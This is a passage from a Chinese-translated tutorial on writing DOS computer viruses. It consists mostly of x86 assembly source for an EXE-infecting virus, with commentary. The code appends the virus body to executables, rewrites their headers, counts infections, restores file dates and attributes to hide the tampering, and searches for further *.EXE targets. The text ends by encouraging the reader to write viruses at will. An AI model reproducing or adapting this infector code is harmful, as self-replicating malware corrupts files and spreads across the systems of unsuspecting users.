;    並化成512進位制的形式。假設我們有一個513位元組的檔案,那麼這裡我們將得到
;    2,餘數1。最後的指令把計算得到的結果寫到檔案頭中。
;---------------------------------------------------------------------------

  pop  bx      ; restore file handle

  mov  cx, heap-start
  lea  dx, [bp+offset start]
  mov  ah, 0040h    ; concatenate virus
  int  0021h

  xor  dx, dx
  mov  ax, 4200h
  xor  cx, cx
  int  0021h


  lea  dx, [bp+offset readbuffer]
  mov  cx, 001Ah
  mov  ah, 0040h
  int  0021h

  inc  [bp+numinfect]

;---------------------------------------------------------------------------
;  解釋:
;  這一段我們新增病毒主體,然後把檔案指標移到檔案頭。現在我們寫上新的檔案頭
;    ,並把計數器加1。
;---------------------------------------------------------------------------

close:
  mov  ax, 5701h    ; restore file time/date
  pop  dx
  pop  cx
  int  0021h

  mov  ah, 003Eh
  int  0021h

  pop  ax      ; restore file attributes
  pop  dx      ; get filename and
  pop  cx      ; attributes from stack
  int  0021h

  mov  ah, 004Fh    ; find next
  jmp  findfirstnext

;---------------------------------------------------------------------------
;  解釋:
;  上面的程式碼我們已經看過了。沒有?看看COM檔案感染部分。:)
;---------------------------------------------------------------------------

signature  db  "[PS/G]",0     ; Phalcon/Skism G?
EXEmask   db  "*.EXE",0
dot_dot   db  "..",0

heap:
newDTA    db  43 dup (?)
origdir   db  65 dup (?)
numinfect  db  ?
readbuffer  db  1ah dup (?)
endheap:
  end  start

;---------到這裡為止剪下-----------------------------------------------------

      是不是講了太多啦?Ok,我知道我必須說一件事。當你理解了感染COM和EXE檔案的概念之後,你的知識將以光的速度增長:)那些執行期病毒是過時的病毒沒關係,重要的是概念。(譯者注:這也是我翻譯此教程的目的.) 當你對所有這些都看懂之後,那你可以隨心所欲地編寫病毒了。
      我們要停一會兒時間了。下面介紹幾個更有用的理論知識。

相關文章